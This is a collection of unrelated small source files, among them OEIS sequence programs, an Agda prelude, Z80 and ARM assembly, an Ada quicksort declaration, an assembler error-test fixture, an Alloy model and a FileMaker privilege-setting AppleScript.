<filename>programs/oeis/016/A016961.asm ; A016961: a(n) = (6*n + 4)^5. ; 1024,100000,1048576,5153632,17210368,45435424,102400000,205962976,380204032,656356768,1073741824,1680700000,2535525376,3707398432,5277319168,7339040224,10000000000,13382255776,17623416832,22877577568,29316250624,37129300000,46525874176,57735339232,71008211968,86617093024,104857600000,126049300576,150536645632,178689902368,210906087424,247609900000,289254654976,336323216032,389328928768,448816553824,515363200000,589579257376,672109330432,763633171168,864866612224,976562500000,1099511627776,1234543668832,1382528109568,1544375182624,1721036800000,1913507486176,2122825311232,2350072823968,2596377985024,2862915100000,3150905752576,3461619737632,3796375994368,4156543539424,4543542400000,4958844546976,5403974828032,5880511900768,6390089165824,6934395700000,7515177189376,8134236862432,8793436423168,9494696984224,10240000000000,11031388199776,11870966520832,12760903041568,13703429914624,14700844300000,15755509298176,16869854883232,18046378835968,19287647677024,20596297600000,21975035404576,23426639429632,24953960486368,26559922791424,28247524900000,30019840638976,31880020040032,33831290272768,35876956577824,38020403200000,40265094321376,42614574994432,45072472075168,47642495156224,50328437500000,53134176971776,56063676972832,59120987373568,62310245446624,65635676800000,69101596310176,72712409055232,76472611247968 mul $0,6 add $0,4 pow $0,5
Prelude/Number.agda
bbarenblat/B
1
9360
<gh_stars>1-10 {- Copyright © 2015 <NAME> Licensed under the Apache License, Version 2.0 (the ‘License’); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ‘AS IS’ BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. -} module B.Prelude.Number where import Algebra import Data.Integer import Data.Integer.Properties import Data.Nat import Data.Nat.Properties open import Level using (_⊔_) open import Relation.Binary.PropositionalEquality using (_≡_; refl) open Data.Integer using (ℤ) public open Data.Nat using (ℕ) public record NearSemiring {c} {ℓ} (A : Set c) : Set (Level.suc (c ⊔ ℓ)) where field structure : Algebra.NearSemiring c ℓ typeEquality : A ≡ Algebra.NearSemiring.Carrier structure NearSemiringInstance : ∀ {c ℓ} → (structure : Algebra.NearSemiring c ℓ) → NearSemiring (Algebra.NearSemiring.Carrier structure) NearSemiringInstance structure = record { structure = structure; typeEquality = refl } private change₂ : ∀ {c ℓ A′} → ⦃ witness : NearSemiring {c} {ℓ} A′ ⦄ → ((r : Algebra.NearSemiring c ℓ) → let A = Algebra.NearSemiring.Carrier r in A → A → A) → A′ → A′ → A′ change₂ ⦃ witness ⦄ f rewrite NearSemiring.typeEquality witness = f (NearSemiring.structure witness) _*_ : ∀ {c ℓ A} → ⦃ _ : NearSemiring {c} {ℓ} A ⦄ → A → A → A _*_ = change₂ Algebra.NearSemiring._*_ instance NearSemiring-ℕ : NearSemiring ℕ NearSemiring-ℕ = NearSemiringInstance (Algebra.CommutativeSemiring.nearSemiring Data.Nat.Properties.commutativeSemiring) NearSemiring-ℤ : NearSemiring ℤ NearSemiring-ℤ = NearSemiringInstance (Algebra.CommutativeRing.nearSemiring Data.Integer.Properties.commutativeRing)
raklogo.asm
hwreverse/PC-G850V
7
11192
10 ORG 100H 11 XOR A 12 LD B,144 13 LD D,0 14 LD E,0 15 CALL 0BFEEH 16 JP MAIN 17GPF EQU 0BFD0H 18MAIN: LD HL,L0 19 LD B,144 20 LD DE,0 21 CALL GPF 22 LD HL,L1 23 LD B,144 24 LD DE,0100H 25 CALL GPF 26 LD HL,L2 27 LD B,144 28 LD DE,0200H 29 CALL GPF 30 LD HL,L3 31 LD B,144 32 LD DE,0300H 33 CALL GPF 34 LD HL,L4 35 LD B,144 36 LD DE,0400H 37 CALL GPF 38 LD HL,L5 39 LD B,144 40 LD DE,0500H 41 CALL GPF 42 CALL WAIT 43 LD HL,L6 44 LD B,144 45 LD DE,0000H 46 CALL GPF 47 LD HL,L7 48 LD B,144 49 LD DE,0100H 50 CALL GPF 51 LD HL,L8 52 LD B,144 53 LD DE,0200H 54 CALL GPF 55 LD HL,L9 56 LD B,144 57 LD DE,0300H 58 CALL GPF 59 LD HL,L10 60 LD B,144 61 LD DE,0400H 62 CALL GPF 63 LD HL,L11 64 LD B,144 65 LD DE,0500H 66 CALL GPF 67 CALL WAIT 68 IN A,(1FH) 69 RLCA 70 RET C 71 JP MAIN 72 RET 73WAIT: LD BC,500 74WLOOP: DEC BC 75 LD A,B 76 OR C 77 JR NZ,WLOOP 78 RET 79L0: DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 80 DB 00H,00H,80H,0C0H,0E0H,0F0H,0F8H,0F8H,0FCH,0FCH,0FEH,0FEH 81 DB 7EH,7EH,7FH,3FH,3FH,3EH,3EH,3EH,3EH,0CH,00H,00H 82 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 83 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 84 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 85 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 86 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 87 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 88 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 89 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 90 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 91L1: DB 00H,00H,80H,80H,80H,80H,00H,00H,80H,0C0H,0C0H,0D8H 92 DB 0DEH,0BFH,3FH,9FH,0DFH,0CFH,0D7H,9BH,39H,3CH,0BEH,0BEH 93 DB 9FH,0DFH,0DFH,0DFH,0DFH,0DFH,0DFH,9FH,9FH,1FH,60H,0F8H 94 DB 0F8H,0F8H,0F0H,0E0H,0E0H,0C0H,80H,00H,00H,00H,00H,00H 95 DB 00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,1FH 96 DB 1FH,1FH,1FH,1FH,1FH,1FH,1FH,1FH,3FH,3FH,7FH,0FFH 97 DB 0FFH,0FFH,0FEH,0FCH,0F8H,0F0H,80H,00H,00H,00H,00H,00H 98 DB 00H,00H,00H,00H,00H,80H,0F0H,0FEH,0FFH,0FFH,0FFH,0FFH 99 DB 0FFH,0FFH,0FFH,0FFH,0FCH,0F0H,80H,00H,00H,00H,00H,00H 100 DB 00H,00H,00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH 101 DB 0FFH,00H,00H,00H,00H,80H,0C0H,0E0H,0F0H,0F8H,0FCH,0FEH 102 DB 0FFH,0FFH,7FH,3FH,1FH,0FH,07H,03H,01H,00H,00H,00H 103L2: DB 3CH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,00H,7FH,0FFH,0FFH,0FFH 104 DB 0FFH,0C1H,1CH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,00H,1FH,1FH 105 DB 1FH,1FH,1FH,0DFH,0DFH,0DFH,0DFH,0CFH,0EFH,07H,70H,0FCH 106 DB 0F9H,0F3H,0CFH,1FH,7FH,0FFH,0FFH,0FFH,0FCH,0F8H,0C0H,00H 107 DB 00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0C0H 108 DB 0C0H,0C0H,0C0H,0C0H,0C0H,0C0H,0C0H,0C0H,0C0H,0E0H,0F0H,0FFH 109 DB 0FFH,0FFH,0FFH,0FFH,7FH,1FH,03H,00H,00H,00H,00H,00H 110 DB 00H,00H,80H,0F0H,0FEH,0FFH,0FFH,0FFH,0FFH,7FH,0FH,01H 111 DB 03H,1FH,0FFH,0FFH,0FFH,0FFH,0FFH,0FCH,0F0H,80H,00H,00H 112 DB 00H,00H,00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH 113 DB 0F7H,0F0H,0F8H,0FCH,0FEH,0FFH,0FFH,0FFH,0FFH,0FFH,0C7H,83H 114 DB 01H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 115L3: DB 00H,01H,0FH,3FH,7FH,0FFH,0FFH,0FFH,0FCH,0F3H,0E7H,0CFH 116 DB 0BFH,1FH,40H,0F3H,0FBH,0FBH,0FBH,0FBH,0FBH,0F8H,0F8H,0F8H 117 DB 0F8H,0F8H,0C0H,0FH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,00H,0FFH 118 DB 0FFH,0FFH,0FFH,0FFH,00H,03H,0FFH,0FFH,0FFH,0FFH,0FFH,7EH 119 DB 00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,07H 120 DB 07H,07H,07H,07H,07H,07H,0FH,0FH,0FH,1FH,3FH,0FFH 121 DB 0FFH,0FFH,0FEH,0FCH,0F8H,0E0H,00H,00H,00H,00H,00H,80H 122 DB 0F0H,0FEH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0F9H,0F8H,0F8H,0F8H 123 DB 0F8H,0F8H,0F8H,0FBH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FCH,0F0H 124 DB 80H,00H,00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH 125 DB 0FFH,1FH,0FH,07H,03H,07H,1FH,3FH,0FFH,0FFH,0FFH,0FFH 126 DB 0FEH,0FCH,0F0H,0E0H,0C0H,00H,00H,00H,00H,00H,00H,00H 127L4: DB 00H,00H,00H,00H,00H,00H,01H,03H,07H,0FH,0FH,1FH 128 DB 1FH,07H,70H,0F9H,0FDH,0F9H,0FBH,0FBH,0FBH,0FBH,0FBH,0F9H 129 DB 7DH,7DH,3DH,0BCH,0DDH,0E9H,0E3H,0F3H,0F9H,0FCH,0FCH,79H 130 DB 3BH,03H,03H,01H,00H,00H,01H,01H,01H,01H,01H,00H 131 DB 00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,00H 132 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,1FH 133 DB 0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0F0H,00H,80H,0F0H,0FEH,0FFH 134 DB 0FFH,0FFH,0FFH,0FFH,1FH,03H,01H,01H,01H,01H,01H,01H 135 DB 01H,01H,01H,01H,01H,01H,07H,3FH,0FFH,0FFH,0FFH,0FFH 136 DB 0FFH,0FCH,0F0H,80H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH 137 DB 0FFH,00H,00H,00H,00H,00H,00H,00H,00H,01H,07H,0FH 138 DB 3FH,7FH,0FFH,0FFH,0FFH,0FFH,0FEH,0F8H,0F0H,0E0H,80H,00H 139L5: DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 140 DB 00H,00H,00H,3CH,7EH,0FEH,0FEH,0FEH,0FEH,0FEH,0FEH,7EH 141 DB 7FH,7FH,3FH,3FH,1FH,1FH,0FH,07H,07H,03H,01H,00H 142 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 143 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 144 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 145 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 146 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 147 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 148 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 149 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 150 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 151L6: DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 152 DB 00H,00H,80H,0C0H,0E0H,0F0H,0F0H,0F8H,0F8H,0FCH,0FCH,7CH 153 DB 7EH,3EH,3EH,3EH,3EH,3EH,3EH,3EH,1CH,00H,00H,00H 154 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 155 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 156 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 157 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 158 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 159 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 160 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 161 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 162 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 163L7: DB 00H,00H,80H,80H,80H,00H,00H,00H,00H,80H,0C0H,80H 164 DB 9CH,1FH,3FH,1FH,8FH,87H,83H,91H,19H,3CH,9CH,9EH 165 DB 9EH,9EH,9FH,9FH,9FH,9FH,9FH,9FH,9FH,0EH,00H,0F0H 166 DB 0F8H,0F0H,0E0H,0E0H,0C0H,80H,00H,00H,00H,00H,00H,00H 167 DB 00H,00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,1FH,1FH 168 DB 1FH,1FH,1FH,1FH,1FH,1FH,1FH,1FH,1FH,3FH,3FH,0FFH 169 DB 0FEH,0FEH,0FCH,0FCH,0F8H,0E0H,00H,00H,00H,00H,00H,00H 170 DB 00H,00H,00H,00H,00H,00H,0E0H,0F8H,0FFH,0FFH,0FFH,0FFH 171 DB 0FFH,0FFH,0FFH,0FFH,0F8H,0E0H,00H,00H,00H,00H,00H,00H 172 DB 00H,00H,00H,00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH 173 DB 00H,00H,00H,00H,00H,00H,80H,0C0H,0E0H,0F0H,0F8H,0FCH 174 DB 0FEH,0FFH,7FH,3FH,1FH,0FH,07H,03H,01H,00H,00H,00H 175L8: DB 00H,0FFH,0FFH,0FFH,0FFH,0FFH,0C0H,00H,1FH,0FFH,0FFH,0FFH 176 DB 0FFH,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0D4H,00H,0FH,0FH 177 DB 0FH,0FH,0FH,0FH,0CFH,0CFH,0CFH,0CFH,0CFH,03H,10H,0F8H 178 DB 0F1H,0E3H,0C7H,0FH,3FH,0FFH,0FFH,0FEH,0FCH,0F0H,80H,00H 179 DB 00H,00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0C0H,80H 180 DB 80H,80H,80H,80H,80H,80H,80H,80H,0C0H,0C0H,0E0H,0F8H 181 DB 0FFH,0FFH,0FFH,7FH,3FH,0FH,00H,00H,00H,00H,00H,00H 182 DB 00H,00H,00H,0E0H,0F8H,0FFH,0FFH,0FFH,0FFH,1FH,07H,00H 183 DB 00H,07H,3FH,0FFH,0FFH,0FFH,0FFH,0F8H,0E0H,00H,00H,00H 184 DB 00H,00H,00H,00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH 185 DB 0E0H,0F0H,0F8H,0FCH,0FEH,0FFH,0FFH,0FFH,0FFH,0EFH,87H,03H 186 DB 01H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 187L9: DB 00H,00H,07H,1FH,3FH,0FFH,0FFH,0FEH,0F8H,0F1H,0C7H,8FH 188 DB 1FH,0EH,00H,0E1H,0F3H,0F3H,0F3H,0F3H,0F3H,0F0H,0F0H,0F0H 189 DB 0F0H,0F0H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,08H,00H,0E7H 190 DB 0FFH,0FFH,0FFH,0FEH,00H,01H,0FFH,0FFH,0FFH,0FFH,0FFH,00H 191 DB 00H,00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,07H,07H 192 DB 07H,07H,07H,07H,07H,07H,07H,07H,07H,0FH,1FH,0FFH 193 DB 0FFH,0FFH,0FCH,0FCH,0F8H,0C0H,00H,00H,00H,00H,00H,00H 194 DB 0E0H,0F8H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0F0H,0F0H,0F0H,0F0H 195 DB 0F0H,0F0H,0F0H,0F1H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0F8H,0E0H 196 DB 00H,00H,00H,00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH 197 DB 1FH,0FH,07H,03H,03H,03H,0FH,1FH,7FH,0FFH,0FFH,0FFH 198 DB 0FEH,0F8H,0F0H,0C0H,80H,00H,00H,00H,00H,00H,00H,00H 199L10: DB 00H,00H,00H,00H,00H,00H,01H,03H,03H,07H,0FH,0FH 200 DB 1FH,06H,00H,78H,0F9H,0F9H,0F9H,0F9H,0F9H,0F9H,79H,79H 201 DB 79H,39H,3CH,9CH,88H,0C9H,0E1H,0F1H,0F9H,0FCH,0FCH,39H 202 DB 19H,01H,01H,01H,00H,00H,00H,01H,01H,01H,00H,00H 203 DB 00H,00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,00H,00H 204 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 205 DB 7FH,0FFH,0FFH,0FFH,0FFH,0FFH,80H,00H,00H,0E0H,0FCH,0FFH 206 DB 0FFH,0FFH,0FFH,3FH,0FH,01H,01H,01H,01H,01H,01H,01H 207 DB 01H,01H,01H,01H,01H,01H,03H,1FH,7FH,0FFH,0FFH,0FFH 208 DB 0FFH,0F8H,0C0H,00H,00H,00H,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH 209 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,03H,07H 210 DB 1FH,3FH,0FFH,0FFH,0FFH,0FFH,0FCH,0F8H,0E0H,0C0H,00H,00H 211L11: DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 212 DB 00H,00H,00H,38H,3CH,7CH,7CH,7CH,7CH,7CH,7CH,7EH 213 DB 3EH,3FH,3FH,1FH,1FH,0FH,0FH,07H,03H,01H,00H,00H 214 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 215 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 216 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 217 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 218 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 219 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 220 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 221 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 222 DB 00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H,00H 
Task/Sorting-algorithms-Quicksort/Ada/sorting-algorithms-quicksort-1.ada
djgoku/RosettaCodeData
1
11518
----------------------------------------------------------------------- -- Generic Quicksort procedure ----------------------------------------------------------------------- generic type Element_Type is private; type Index_Type is (<>); type Element_Array is array(Index_Type range <>) of Element_Type; with function "<" (Left, Right : Element_Type) return Boolean is <>; with function ">" (Left, Right : Element_Type) return Boolean is <>; procedure Sort(Item : in out Element_Array);
arquivos_teste/monta_teste_error_2.asm
LSantos06/MacroAssembler
0
12894
MOD_A: BEGIN ; begin sem end (tirar outros erros para ver) SECTION TEXT COPY ZERO,OLDER COPY ONE,OLD INPUT LIMIT OUTPUT OLD FRONT: LOAD OLDER ADD OLD STORE ONE ; modificao valor cte DIV ZERO ; divisao por 0 SUB LIMIT ADD R ; declaracao ausente JMPP FINAL OUTPUT NEW OUTPUT VEC+4 ; endereco de memoria nao reservado COPY OLD,OLDER COPY NEW,OLD JMP ZERO ; pulo para rotulo invalido L: SPACE ; diretiva na sessao errada FINAL: OUTPUT LIMIT STOP SECTION DATA ZERO: CONST 0 ONE: CONST 1 OLDER: SPACE OLD: SPACE NEW: SPACE LIMIT: SPACE VEC: SPACE 2
alloy4fun_models/trashltl/models/5/YwzhpAvPTapMkKXjC.als
Kaixi26/org.alloytools.alloy
0
4513
<reponame>Kaixi26/org.alloytools.alloy open main pred idYwzhpAvPTapMkKXjC_prop6 { all f: File | f in Trash since f in Trash } pred __repair { idYwzhpAvPTapMkKXjC_prop6 } check __repair { idYwzhpAvPTapMkKXjC_prop6 <=> prop6o }
library/fmGUI_ManageSecurity/fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable.applescript
NYHTC/applescript-fm-helper
1
3287
<reponame>NYHTC/applescript-fm-helper -- fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable({baseTable:null, viewAccess:null, editAccess:null, createAccess:null, deleteAccess:null, fieldAccess:null, viewCalc:null, editCalc:null, createCalc:null, deleteCalc:null, fieldCalc:null, allowFieldAccessOverride:false}) -- <NAME>, NYHTC -- update record access for the specified base table. (* HISTORY: 1.2 - 2018-01-25 ( eshagdar ): don't bother updating access if it's null. 1.1 - 2017-12-21 ( eshagdar ): added allowFieldAccessOverride param that overrides tells sub-handler to override field access type in the fieldCalc record. 1.0.1 - 2017-10-17 ( eshagdar ): removed unused variable. 1.0 - 2017-09-22 ( eshagdar ): moved from fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_AllTables handler REQUIRES: fmGUI_AppFrontMost fmGUI_ManageSecurity_AccessRecord_UpdateFieldPriv fmGUI_NameOfFrontmostWindow fmGUI_Popup_SelectByCommand *) on run fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable({baseTable:"ZZ_GLOBALS", viewAccess:"yes", editAccess:"yes", createAccess:"yes", deleteAccess:"yes", fieldAccess:"all", viewCalc:null, editCalc:null, createCalc:null, deleteCalc:null, fieldCalc:null}) end run -------------------- -- START OF CODE -------------------- on fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable(prefs) -- version 1.2 set defaultPrefs to {baseTable:null, viewAccess:null, editAccess:null, createAccess:null, deleteAccess:null, fieldAccess:null, viewCalc:null, editCalc:null, createCalc:null, deleteCalc:null, fieldCalc:null, allowFieldAccessOverride:false} set prefs to prefs & defaultPrefs set popUpExtras to {selectCommand:"contains", clickIfAlreadySet:true} try fmGUI_AppFrontMost() if fmGUI_NameOfFrontmostWindow() is not equal to "Custom Record Privileges" then error "must have 'Custom Record Privileges' window open" number -1024 tell application "System Events" tell process "FileMaker Pro Advanced" -- get button refs to edit each row set viewButton to pop up button "View" of window 1 set editButton to pop up button "Edit" of window 1 set createButton to pop up button "Create" of window 1 set deleteButton to pop up button "Delete" of window 1 set fieldAccessButton to pop up button "Field Access" of window 1 -- look through each table, ensuring each type of access is set set oneTableRow to (first row of table 1 of scroll area 1 of window 1 whose name of static text 1 is equal to baseTable of prefs) select oneTableRow end tell end tell -- view if viewAccess of prefs is not null then if viewCalc of prefs is not null then fmGUI_Popup_SelectByCommand({objRef:viewButton, objValue:viewAccess of prefs, calcValue:viewCalc of prefs} & popUpExtras) else fmGUI_Popup_SelectByCommand({objRef:viewButton, objValue:viewAccess of prefs}) end if end if -- edit if editAccess of prefs is not null then if viewCalc of prefs is not equal to "no" then -- edit is disabled if view is set to 'no' if editCalc of prefs is not null then fmGUI_Popup_SelectByCommand({objRef:editButton, objValue:editAccess of prefs, calcValue:editCalc of prefs} & popUpExtras) else fmGUI_Popup_SelectByCommand({objRef:editButton, objValue:editAccess of prefs}) end if end if end if -- create if createAccess of prefs is not null then if createCalc of prefs is not null then fmGUI_Popup_SelectByCommand({objRef:createButton, objValue:createAccess of prefs, calcValue:createCalc of prefs} & popUpExtras) else fmGUI_Popup_SelectByCommand({objRef:createButton, objValue:createAccess of prefs}) end if end if -- delete if deleteAccess of prefs is not null then if deleteCalc of prefs is not null then fmGUI_Popup_SelectByCommand({objRef:deleteButton, objValue:deleteAccess of prefs, calcValue:deleteCalc of prefs} & popUpExtras) else fmGUI_Popup_SelectByCommand({objRef:deleteButton, objValue:deleteAccess of prefs}) end if end if -- if there is a list of fields with specific privileges, ask user if this table can ignore the fields specified, and force it's own field to be a specific type ( generally this is due to the privSet being copied from one table to another ). if fieldAccess of prefs is not null then set extraFieldPrivs to {} try if allowFieldAccessOverride of prefs then if fieldAccess of prefs contains "limited" and fieldCalc of prefs is not null then set privTypes to {} repeat with oneFieldRec in fieldCalc of prefs set oneFieldRec to contents of oneFieldRec set oneFieldPriv to fieldPriv of oneFieldRec if oneFieldPriv is not in privTypes then copy oneFieldPriv to end of privTypes end repeat if (count of privTypes) is equal to 1 then set privTypes to item 1 of privTypes if privTypes is equal to "modifiable" then set extraFieldPrivs to {FieldsModifiable:true} else if privTypes is equal to "view only" then set extraFieldPrivs to {FieldsViewOnly:true} else if privTypes is equal to "no access" then set extraFieldPrivs to {FieldsNoAccess:true} end if end if end if end if end try -- field access fmGUI_Popup_SelectByCommand({objRef:fieldAccessButton, objValue:fieldAccess of prefs, clickIfAlreadySet:true}) if fieldCalc of prefs is not null then fmGUI_ManageSecurity_AccessRecord_UpdateFieldPriv({fieldList:fieldCalc of prefs} & extraFieldPrivs) end if return true on error errMsg number errNum error "unable to fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable - " & errMsg number errNum end try end fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable -------------------- -- END OF CODE -------------------- on fmGUI_AppFrontMost() tell application "htcLib" to fmGUI_AppFrontMost() end fmGUI_AppFrontMost on fmGUI_ManageSecurity_AccessRecord_UpdateFieldPriv(prefs) tell application "htcLib" to fmGUI_ManageSecurity_AccessRecord_UpdateFieldPriv(prefs) end fmGUI_ManageSecurity_AccessRecord_UpdateFieldPriv on fmGUI_NameOfFrontmostWindow() tell application "htcLib" to fmGUI_NameOfFrontmostWindow() end fmGUI_NameOfFrontmostWindow on fmGUI_Popup_SelectByCommand(prefs) set objRefStr to coerceToString(objRef of prefs) tell application "htcLib" to fmGUI_Popup_SelectByCommand({objRef:objRefStr} & prefs) end fmGUI_Popup_SelectByCommand on coerceToString(incomingObject) -- 2017-07-12 ( eshagdar ): bootstrap code to bring a coerceToString into this file for the sample to run ( instead of having a copy of the handler locally ). tell application "Finder" to set coercePath to (container of (container of (path to me)) as text) & "text parsing:coerceToString.applescript" set codeCoerce to read file coercePath as text tell application "htcLib" to set codeCoerce to "script codeCoerce " & return & getTextBetween({sourceTEXT:codeCoerce, beforeText:"-- START OF CODE", afterText:"-- END OF CODE"}) & return & "end script" & return & "return codeCoerce" set codeCoerce to run script codeCoerce tell codeCoerce to coerceToString(incomingObject) end coerceToString
programs/oeis/000/A000337.asm
karttu/loda
1
173860
; A000337: a(n) = (n-1)*2^n + 1. ; 0,1,5,17,49,129,321,769,1793,4097,9217,20481,45057,98305,212993,458753,983041,2097153,4456449,9437185,19922945,41943041,88080385,184549377,385875969,805306369,1677721601,3489660929,7247757313,15032385537,31138512897,64424509441,133143986177,274877906945,566935683073,1168231104513,2405181685761,4947802324993,10170482556929,20890720927745,42880953483265,87960930222081,180319906955265,369435906932737,756463999909889,1548112371908609,3166593487994881,6473924464345089 mov $1,$0 sub $1,1 mov $2,2 pow $2,$0 mul $1,$2 add $1,1
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/acos.asm
ahjelm/z88dk
640
14974
<filename>libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/acos.asm SECTION code_fp_am9511 PUBLIC _acos EXTERN cam32_sdcc_acos defc _acos = cam32_sdcc_acos
base/Kernel/Native/arm/Crt/callcode.asm
sphinxlogic/Singularity-RDK-2.0
0
243598
<filename>base/Kernel/Native/arm/Crt/callcode.asm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; Microsoft Research Singularity ;;; ;;; Copyright (c) Microsoft Corporation. All rights reserved. ;;; ;;; This file contains ARM-specific assembly code. ;;; ; ************************************************************************** ; Stolen from armtrap.s IF Thumbing MACRO CALL $Fn ldr r12, =$Fn mov lr, pc bx r12 MEND MACRO CALLEQ $Fn ldreq r12, =$Fn moveq lr, pc bxeq r12 MEND MACRO RETURN bx lr MEND MACRO RETURN_EQ bxeq lr MEND MACRO RETURN_NE bxne lr MEND ELSE MACRO CALL $Fn bl $Fn MEND MACRO CALLEQ $Fn bleq $Fn MEND MACRO RETURN mov pc, lr MEND MACRO RETURN_EQ moveq pc, lr MEND MACRO RETURN_NE movne pc, lr MEND ENDIF MACRO mfc15 $cpureg, $cp15reg mrc p15,0,$cpureg,$cp15reg,c0,0 MEND ; End of stuff stolen from armtrap.s ; ************************************************************************** END
libsrc/_DEVELOPMENT/arch/zx/bifrost_l/z80/asm_BIFROSTL_resetAnim2Frames.asm
jpoikela/z88dk
640
166786
; ---------------------------------------------------------------- ; Z88DK INTERFACE LIBRARY FOR THE BIFROST* ENGINE - RELEASE 1.2/L ; ; See "bifrost_l.h" for further details ; ---------------------------------------------------------------- SECTION code_clib SECTION code_bifrost_l PUBLIC asm_BIFROSTL_resetAnim2Frames asm_BIFROSTL_resetAnim2Frames: halt xor a ld (58780),a ld hl,128 ld (58782),hl ret
src/startup.asm
JeppeSRC/STM32-Lib
0
17690
